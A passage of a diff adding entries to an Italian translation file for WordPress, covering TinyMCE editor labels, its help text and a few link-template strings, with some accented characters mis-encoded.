+#: wp-includes/js/tinymce/langs/wp-langs.php:264
+msgid "Picker"
+msgstr "Selettore"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:265
+msgid "Color picker"
+msgstr "Selezione colori"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:266
+msgid "Palette"
+msgstr "Tavolozza"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:267
+msgid "Palette colors"
+msgstr "Tavolozza colori"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:268
+msgid "Named"
+msgstr "Nomi"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:269
+msgid "Named colors"
+msgstr "Nome colori"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:270
+msgid "Color:"
+msgstr "Colore:"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:272
+msgid "Select custom character"
+msgstr "Seleziona carattere personalizzato"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:275
+msgid "Image description"
+msgstr "Descrizione immagine"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:276
+msgid "Image list"
+msgstr "Lista immagini"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:277
+msgid "Border"
+msgstr "Bordo"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:278
+#: wp-includes/js/tinymce/langs/wp-langs.php:307
+msgid "Dimensions"
+msgstr "Dimensioni"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:279
+msgid "Vertical space"
+msgstr "Spaziatura verticale"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:280
+msgid "Horizontal space"
+msgstr "Spaziatura orizzontale"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:282
+msgid "Baseline"
+msgstr "Linea base"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:283
+#: wp-includes/js/tinymce/langs/wp-langs.php:382
+msgid "Top"
+msgstr "Alto"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:284
+msgid "Middle"
+msgstr "Mediano"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:285
+#: wp-includes/js/tinymce/langs/wp-langs.php:384
+msgid "Bottom"
+msgstr "Basso"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:286
+msgid "Text top"
+msgstr "Testo alto"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:287
+msgid "Text bottom"
+msgstr "Testo basso"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:293
+msgid "Open link in the same window"
+msgstr "Apri il link nella stessa finestra"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:294
+msgid "Open link in a new window"
+msgstr "Apri il link in una nuova finestra"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:296
+msgid "The URL you entered seems to be an email address, do you want to add the required mailto: prefix?"
+msgstr "L&#8217;URL inserita appare un indirizzo email, si desidera aggiungere il necessario prefisso mailto:?"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:297
+msgid "The URL you entered seems to external link, do you want to add the required http:// prefix?"
+msgstr "L&#8217;URL inserita appare un link esterno, si desidera aggiungere il necessario prefisso http://?"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:298
+msgid "Link list"
+msgstr "Lista link"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:305
+msgid "File/URL"
+msgstr "File/URL"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:306
+#: wp-includes/js/tinymce/wp-mce-help.php:230
+#: wp-includes/js/tinymce/wp-mce-help.php:231
+msgid "List"
+msgstr "Elenco"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:309
+msgid "Constrain proportions"
+msgstr "Mantieni le proporzioni"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:310
+msgid "Type"
+msgstr "Tipo"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:311
+msgid "Id"
+msgstr "Id"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:314
+msgid "V-Space"
+msgstr "Spazio verticale"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:315
+msgid "H-Space"
+msgstr "Spazio Orizzontale"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:316
+msgid "Auto play"
+msgstr "Auto play"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:317
+#: wp-includes/js/tinymce/langs/wp-langs.php:399
+msgid "Loop"
+msgstr "Ciclo"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:318
+msgid "Show menu"
+msgstr "Mostra menu"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:319
+msgid "Quality"
+msgstr "QualitÃ "
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:320
+msgid "Scale"
+msgstr "Scala"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:321
+msgid "Align"
+msgstr "Allinea"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:322
+msgid "SAlign"
+msgstr "Allineamento S"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:323
+msgid "WMode"
+msgstr "WMode"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:324
+msgid "Background"
+msgstr "Sfondo"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:325
+msgid "Base"
+msgstr "Base"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:326
+msgid "Flashvars"
+msgstr "Variabili flash"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:327
+msgid "SWLiveConnect"
+msgstr "SWLiveConnect"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:328
+msgid "AutoHREF"
+msgstr "AutoHREF"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:329
+msgid "Cache"
+msgstr "Cache"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:330
+msgid "Hidden"
+msgstr "Nascosto"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:331
+msgid "Controller"
+msgstr "Controllore"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:332
+msgid "Kiosk mode"
+msgstr "ModalitÃ  chiosco"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:333
+msgid "Play every frame"
+msgstr "Esegui ogni frame"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:334
+msgid "Target cache"
+msgstr "Cache destinazione"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:335
+msgid "No correction"
+msgstr "Nessuna correzione"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:336
+msgid "Enable JavaScript"
+msgstr "Abilita JavaScript"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:337
+#: wp-includes/js/tinymce/langs/wp-langs.php:395
+msgid "Start time"
+msgstr "Tempo iniziale"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:338
+msgid "End time"
+msgstr "Tempo finale"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:339
+msgid "Href"
+msgstr "Href"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:340
+msgid "Choke speed"
+msgstr "Limita velocitÃ  "
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:342
+msgid "Volume"
+msgstr "Volume"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:343
+#: wp-includes/js/tinymce/langs/wp-langs.php:398
+msgid "Auto start"
+msgstr "Avvio automatico"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:344
+msgid "Enabled"
+msgstr "Abilitato"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:345
+msgid "Fullscreen"
+msgstr "Schermo intero"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:346
+msgid "Invoke URLs"
+msgstr "Richiama URL"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:347
+msgid "Mute"
+msgstr "Muto"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:348
+msgid "Stretch to fit"
+msgstr "Stira per adattare"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:349
+msgid "Windowless video"
+msgstr "Video senza finestra"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:350
+msgid "Balance"
+msgstr "Bilanciamento"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:351
+msgid "Base URL"
+msgstr "URL base"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:352
+msgid "Captioning id"
+msgstr "ID Sottotitoli"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:353
+msgid "Current marker"
+msgstr "Marcatore corrente"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:354
+msgid "Current position"
+msgstr "Posizione corrente"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:355
+msgid "Default frame"
+msgstr "Frame predefinito"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:356
+msgid "Play count"
+msgstr "Conteggio esecuzione"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:357
+msgid "Rate"
+msgstr "Tasso"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:358
+msgid "UI Mode"
+msgstr "ModalitÃ  UI"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:359
+msgid "Flash options"
+msgstr "Impostazioni Flash"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:360
+msgid "Quicktime options"
+msgstr "Impostazioni Quicktime"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:361
+msgid "Windows media player options"
+msgstr "Impostazioni Windows media player"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:362
+msgid "Real media player options"
+msgstr "Impostazioni Real media player"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:363
+msgid "Shockwave options"
+msgstr "Impostazioni Shockwave"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:364
+msgid "Auto goto URL"
+msgstr "URL di indirizzo automatica"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:366
+msgid "Image status"
+msgstr "Stato immagine"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:367
+msgid "Maintain aspect"
+msgstr "Mantieni aspetto"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:368
+msgid "No java"
+msgstr "Disabilita java"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:369
+msgid "Prefetch"
+msgstr "Precaricamento"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:370
+msgid "Shuffle"
+msgstr "Mischia"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:371
+msgid "Console"
+msgstr "Console"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:372
+msgid "Num loops"
+msgstr "Numero di cicli"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:373
+msgid "Controls"
+msgstr "Controlli"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:374
+msgid "Script callbacks"
+msgstr "Richiami dello script"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:375
+msgid "Stretch style"
+msgstr "Stile stiramento"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:376
+msgid "Stretch H-Align"
+msgstr "Stira Allineamento-Orizzontale"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:377
+msgid "Stretch V-Align"
+msgstr "Stira Allineamento-Verticale"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:378
+msgid "Sound"
+msgstr "Suono"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:379
+msgid "Progress"
+msgstr "Progresso"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:380
+msgid "QT Src"
+msgstr "QT Src"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:381
+msgid "Streamed rtsp resources should be added to the QT Src field under the advanced tab."
+msgstr "Risorse di strema rtsp possono venir aggiunte al campo QT Src sotto la linguetta avanzato"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:387
+msgid "Top left"
+msgstr "Allinea a sinistra"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:388
+msgid "Top right"
+msgstr "Allinea a destra"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:389
+msgid "Bottom left"
+msgstr "In basso a sinistra"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:390
+msgid "Bottom right"
+msgstr "In basso a destra"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:391
+msgid "Flash video options"
+msgstr "Impostazioni video Flash"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:392
+msgid "Scale mode"
+msgstr "Modalita di scala"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:393
+msgid "Buffer"
+msgstr "Buffer"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:394
+msgid "Start image"
+msgstr "Immagine di partenza"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:396
+msgid "Default volume"
+msgstr "Volume predefinito"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:397
+msgid "Hidden GUI"
+msgstr "Nascondi GUI"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:400
+msgid "Show scale modes"
+msgstr "Visualizza modalitÃ  di scala"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:401
+msgid "Smooth video"
+msgstr "Addolcisci video "
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:402
+msgid "JS Callback"
+msgstr "Richiamo JS"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:406
+msgid "Show/Hide Kitchen Sink"
+msgstr "Mostra/Nascondi barra strumenti avanzata"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:407
+msgid "Insert More tag"
+msgstr "Inserisci il tag More"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:408
+msgid "Insert Page break"
+msgstr "Inserisci interruzione di pagina"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:410
+msgid "More..."
+msgstr "Continua..."
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:411
+msgid "Next page..."
+msgstr "Pagina successiva..."
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:416
+msgid "Edit Gallery"
+msgstr "Modifica galleria"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:417
+msgid "Delete Gallery"
+msgstr "Cancella galleria"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:421
+msgid "Edit Image"
+msgstr "Modifica immagine"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:422
+msgid "Delete Image"
+msgstr "Cancella immagine"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:423
+msgid "Advanced Settings"
+msgstr "Impostazioni avanzate"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:428
+msgid "Full Size"
+msgstr "Dimensione reale"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:429
+msgid "Current Link"
+msgstr "Link corrente"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:430
+msgid "Link to Image"
+msgstr "Link all&#8217;immagine"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:432
+msgid "Advanced Image Settings"
+msgstr "Impostazioni avanzate immagini"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:433
+msgid "Source"
+msgstr "Sorgente"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:436
+#: wp-includes/js/tinymce/langs/wp-langs.php:441
+msgid "Original Size"
+msgstr "Dimensione originale"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:437
+#: wp-includes/js/tinymce/langs/wp-langs.php:442
+msgid "CSS Class"
+msgstr "Classe CSS"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:438
+msgid "Advanced Link Settings"
+msgstr "Impostazioni avanzate link"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:439
+msgid "Link Rel"
+msgstr "Link Rel"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:443
+msgid "60%"
+msgstr "60%"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:444
+msgid "70%"
+msgstr "70%"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:445
+msgid "80%"
+msgstr "80%"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:446
+msgid "90%"
+msgstr "90%"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:447
+msgid "100%"
+msgstr "100%"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:448
+msgid "110%"
+msgstr "110%"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:449
+msgid "120%"
+msgstr "120%"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:450
+msgid "130%"
+msgstr "130%"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:451
+msgid "Edit Image Title"
+msgstr "Modifica titolo immagine"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:452
+msgid "Edit Image Caption"
+msgstr "Modifica didascalia"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:453
+msgid "Edit Alternate Text"
+msgstr "Modifica il testo alternativo"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:16
+msgid "Rich Editor Help"
+msgstr "Aiuto per l&#8217;editor avanzato"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:174
+msgid "Basics of Rich Editing"
+msgstr "Elementi base dell&#8217;editor avanzato"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:174
+msgid "Basics"
+msgstr "Informazioni di base"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:175
+msgid "Advanced use of the Rich Editor"
+msgstr "Utilizzo evoluto dell&#8217;editor avanzato"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:176
+msgid "Hotkeys"
+msgstr "Scorciatoie"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:177
+msgid "About the software"
+msgstr "Informazioni sul programma"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:183
+msgid "Rich Editing Basics"
+msgstr "Elementi base dell&#8217;editor avanzato"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:184
+msgid "<em>Rich editing</em>, also called WYSIWYG for What You See Is What You Get, means your text is formatted as you type. The rich editor creates HTML code behind the scenes while you concentrate on writing. Font styles, links and images all appear approximately as they will on the internet."
+msgstr "<em>Editor Avanzato</em>, chiamato anche WYSIWYG (What You See Is What You Get - ciÃ² che vedi Ãš ciÃ² che ottieni) significa che il testo viene formattato mentre lo si digita. Mentre ci si concentra sulla scrittura, l&#8217;editor avanzato crea il codice HTML. Gli stili dei caratteri, i link, le immagini appaiono esattamente come appariranno su internet."
+
+#: wp-includes/js/tinymce/wp-mce-help.php:185
+msgid "WordPress includes a rich HTML editor that works well in all major web browsers used today. However editing HTML is not the same as typing text. Each web page has two major components: the structure, which is the actual HTML code and is produced by the editor as you type, and the display, that is applied to it by the currently selected WordPress theme and is defined in style.css. WordPress is producing valid XHTML 1.0 which means that inserting multiple line breaks (BR tags) after a paragraph would not produce white space on the web page. The BR tags will be removed as invalid by the internal HTML correcting functions."
+msgstr "WordPress include un editor HTML avanzato che funziona con la maggior parte browser utilizzati al giorno d&#8217;oggi. Tuttavia editare codice HTML non Ãš la stessa cosa che digitare del testo. Ciascuna pagina web ha due componenti principali: la struttura, che Ãš il codice HTML e che viene prodotta dall&#8217;editor mentre si scrive, e la visualizzazione, che viene applicata ad essa dal tema WordPress in uso e dal relativo foglio stile style.css. WordPress produce codice XHTML 1.0 valido il chÃš significa che inserendo interruzioni di riga multiple (marcatori BR) dopo un pragrafo non produce spazio bianco sulla pagina web. I marcatori BR verranno rimossi come non validi dal sistema interno di correzzione HTML."
+
+#: wp-includes/js/tinymce/wp-mce-help.php:186
+msgid "While using the editor, most basic keyboard shortcuts work like in any other text editor. For example: Shift+Enter inserts line break, Ctrl+C = copy, Ctrl+X = cut, Ctrl+Z = undo, Ctrl+Y = redo, Ctrl+A = select all, etc. (on Mac use the Command key instead of Ctrl). See the Hotkeys tab for all available keyboard shortcuts."
+msgstr "Mentre si utilizza l&#8217;editor sono disponibili molte scorciatoie da tastiera come in qualsiasi altro editor di testo. Ad esempio Shift+Enter inserisce una interruzione di riga, Ctrl+C = copia, Ctrl+X = taglia, Ctrl+Z = annulla, Ctrl+Y = ripete, Ctrl+A = seleziona tutto, ecc. (sul Mac devono usare il tasto Command anzichÃš Ctrl). Si veda la linguetta Scorciatoie per tutte le scorciatoie da tastiera disponibili."
+
+#: wp-includes/js/tinymce/wp-mce-help.php:187
+msgid "If you do not like the way the rich editor works, you may turn it off from Your Profile submenu, under Users in the admin menu."
+msgstr "Se non piace il modo in cui lavora  l&#8217;editor avanzato, Ãš possibile disabilitarlo sotto \"il tuo profilo\" posizionato nel menu di amministrazione Utenti."
+
+#: wp-includes/js/tinymce/wp-mce-help.php:191
+msgid "Advanced Rich Editing"
+msgstr "Editor avanzato"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:192
+msgid "Images and Attachments"
+msgstr "Immagini e allegati"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:193
+msgid "There is a button in the editor toolbar for inserting images that are already hosted somewhere on the internet. If you have a URL for an image, click this button and enter the URL in the box which appears."
+msgstr "Vi Ãš un pulsante per inserire immagini che sono giÃ  ospitate da qualche parte su Internet. Se si dispone dell&#8217;URL di un&#8217;immagine, fare click sul pulsante e inserire l&#8217;URL nella finestra che apparirÃ "
+
+#: wp-includes/js/tinymce/wp-mce-help.php:194
+msgid "If you need to upload an image or another media file from your computer, you can use the Media Library buttons above the editor. The media library will attempt to create a thumbnail-sized copy from each uploaded image. To insert your image into the post, first click on the thumbnail to reveal a menu of options. When you have selected the options you like, click \"Send to Editor\" and your image or file will appear in the post you are editing. If you are inserting a movie, there are additional options in the \"Media\" dialog that can be opened from the second toolbar row."
+msgstr "Se si ha la necessitÃ  di caricare un&#8217;immagine o un altro tipo di file media dal proprio computer, Ãš possibile utilizzare i pulsanti della Libreria Media posti sopra l&#8217;editor. La libreria media tenterÃ  di crearne una miniatura (thumbnail) per ciascuna immagine caricata. Per inserire l&#8217;immagine all&#8217;interno di un articolo, fare clic sulla miniatura per far apparire un menu di opzioni. Una volta selezionate le opzioni desiderate fare clic su \"Invia all&#8217;editor\" e &#8217;immagine o il file apparirÃ  al&#8217;interno del&#8217;articolo che si sta scrivendo. Se si sta inserendo un filmato, vi sono delle opzioni aggiuntive nella finestra di dialogo  \"Media\" che puÃ² venir aperta tramite la seconda barra degli strumenti."
+
+#: wp-includes/js/tinymce/wp-mce-help.php:195
+msgid "HTML in the Rich Editor"
+msgstr "HTML nell&#8217;editor avanzato"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:196
+msgid "Any HTML entered directly into the rich editor will show up as text when the post is viewed. What you see is what you get. When you want to include HTML elements that cannot be generated with the toolbar buttons, you must enter it by hand in the HTML editor. Examples are tables and &lt;code&gt;. To do this, click the HTML tab and edit the code, then switch back to Visual mode. If the code is valid and understood by the editor, you should see it rendered immediately."
+msgstr "Qualsiasi codice HTML immesso direttamente nell&#8217;editor avanzato verrÃ  visualizzato come testo nel momento in cui si visualizzerÃ  l&#8217;articolo. Quello che si vede Ãš quello che si ottiene. Quando si desidera inserire degli elementi HTML che non possono venir generati con i pulsanti della barra degli strumenti, li si dovrÃ  inserire manualmente nell&#8217;editor HTML. Un esempio sono le tabelle e &lt;code&gt;. Per fare ciÃ², fare clic sul pulsante HTML e modificare il codice, quindi tornare alla modalitÃ  Visuale. Se il codice Ãš valido e interpretato dall&#8217;editor, lo si vedrÃ  apparire immediatamente."
+
+#: wp-includes/js/tinymce/wp-mce-help.php:197
+msgid "Pasting in the Rich Editor"
+msgstr "Incolla nell&#8217;editor avanzato"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:198
+msgid "When pasting content from another web page the results can be inconsistent and depend on your browser and on the web page you are pasting from. The editor tries to correct any invalid HTML code that was pasted, but for best results try using the HTML tab or one of the paste buttons that are on the second row. Alternatively try pasting paragraph by paragraph. In most browsers to select one paragraph at a time, triple-click on it."
+msgstr "Quando si cinollano dei dati da un&#8217;altra pagina web i risultati possono essere incosistenti e dipendere dal browser utilizzato e dalla pagina dalla quale si sono incollati i dati. L&#8217;edito tenta di correggere qualsiasi codice HTML non valido che si incolla ma, per un miglior risultato, utilizzare l&#8217;editor HTML o uno dei pulsanti per incollare che si trovano sulla seconda riga della barra strumenti. In alternativa provare ad incollare un paragrafo alla volta. In molti browser per selezionare un paragrafo alla volta basta fare un triplo clic su di esso."
+
+#: wp-includes/js/tinymce/wp-mce-help.php:199
+msgid "Pasting content from another application, like Word or Excel, is best done with the Paste from Word button on the second row, or in HTML mode."
+msgstr "Incollare dei contenuti da altre applicazioni, tipo Word o Excel, dda migliori risultati utilizzando il pulsante Incolla da Word sulla seconda riga degli strumenti, oppure utilizzando la modalitÃ  HTML."
+
+#: wp-includes/js/tinymce/wp-mce-help.php:203
+msgid "Writing at Full Speed"
+msgstr "Scrivere rapidamente"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:204
+msgid "Rather than reaching for your mouse to click on the toolbar, use these access keys. Windows and Linux use Ctrl + letter. Macintosh uses Command + letter."
+msgstr "AnzichÃš utilizzare il mouse per fare clic sui pulsanti della barra degli strumenti, utilizzare le scorciatoie da tastiera. Windows e Linux utilizzano Ctrl + lettera. Macintosh utilizza Command + lettera."
+
+#: wp-includes/js/tinymce/wp-mce-help.php:206
+#: wp-includes/js/tinymce/wp-mce-help.php:222
+msgid "Letter"
+msgstr "Lettera"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:206
+#: wp-includes/js/tinymce/wp-mce-help.php:222
+msgid "Action"
+msgstr "Azione"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:208
+msgid "Select all"
+msgstr "Seleziona tutto"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:213
+msgid "Header 1"
+msgstr "Testata 1"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:214
+msgid "Header 2"
+msgstr "Testata 2"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:214
+msgid "Header 3"
+msgstr "Testata 3"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:215
+msgid "Header 4"
+msgstr "Testata 4"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:215
+msgid "Header 5"
+msgstr "Testata 5"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:216
+msgid "Header 6"
+msgstr "Testata 6"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:220
+msgid "The following shortcuts use different access keys: Alt + Shift + letter."
+msgstr "Le seguenti scorciatoie usano tasti di accesso differenti. Alt + Shift + lettera."
+
+#: wp-includes/js/tinymce/wp-mce-help.php:227
+msgid "Check Spelling"
+msgstr "Verifica ortografia"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:227
+msgid "Align Left"
+msgstr "Allinea a sinistra"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:228
+msgid "Justify Text"
+msgstr "Testo giustificato"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:228
+msgid "Align Center"
+msgstr "Allinea al centro"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:229
+msgid "Align Right"
+msgstr "Allinea a destra"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:230
+msgid "Insert link"
+msgstr "Inserisci link"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:231
+msgid "Remove link"
+msgstr "Rimuovi link"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:232
+msgid "Quote"
+msgstr "Quota"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:233
+msgid "Full Screen"
+msgstr "Schermo pieno"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:233
+msgid "Insert More Tag"
+msgstr "Inserisci il tag More"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:234
+msgid "Insert Page Break tag"
+msgstr "Inserisci tag di Interruzione pagina"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:235
+msgid "Switch to HTML mode"
+msgstr "Passa alla modalitÃ  HTML"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:243
+#, php-format
+msgid "TinyMCE is a platform independent web based Javascript HTML WYSIWYG editor control released as Open Source under %sLGPL</a>\tby Moxiecode Systems AB. It has the ability to convert HTML TEXTAREA fields or other HTML elements to editor instances."
+msgstr "TinyMCE Ãš un editor Javascript e HTML WYSIWYG basato su una piattaforma web indipendente e rilasciato come Open Source sotto %sLGPL</a>\t da Moxiecode Systems AB. Ha la capacitÃ  di convertire un campo TEXTAREA HTML o altri elementi HTML in un editor."
+
+#: wp-includes/js/tinymce/wp-mce-help.php:243
+msgid "GNU Library General Public Licence"
+msgstr "GNU Library General Public Licence"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:244
+msgid "Copyright &copy; 2003-2007, <a href=\"http://www.moxiecode.com\" target=\"_blank\">Moxiecode Systems AB</a>, All rights reserved."
+msgstr "Copyright &copy; 2003-2007, <a href=\"http://www.moxiecode.com\" target=\"_blank\">Moxiecode Systems AB</a>, Tutti i diritti riservati."
+
+#: wp-includes/js/tinymce/wp-mce-help.php:245
+msgid "For more information about this software visit the <a href=\"http://tinymce.moxiecode.com\" target=\"_blank\">TinyMCE website</a>."
+msgstr "Per ulteriori informazioni su questo software visita <a href=\"http://tinymce.moxiecode.com\" target=\"_blank\">TinyMCE website</a>."
+
+#: wp-includes/js/tinymce/wp-mce-help.php:248
+msgid "Got Moxie?"
+msgstr "Got Moxie?"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:249
+msgid "Hosted By Sourceforge"
+msgstr "Ospitato da Sourceforge"
+
+#: wp-includes/js/tinymce/wp-mce-help.php:250
+msgid "Also on freshmeat"
+msgstr "Anche su freshmeat"
+
+#: wp-includes/link-template.php:444
+msgid "Comments Feed"
+msgstr "Feed dei commenti"
+
+#: wp-includes/link-template.php:607
+msgid "Edit tag"
+msgstr "Modifica tag"
+
+#: wp-includes/link-template.php:821
+msgid "Edit link"
+msgstr "Modifica link"
+
+#: wp-includes/link-template.php:942
+#: wp-includes/link-template.php:1206
+msgid "Previous Post"
+msgstr "Articolo precedente"
+
+#: wp-includes/link-template.php:942
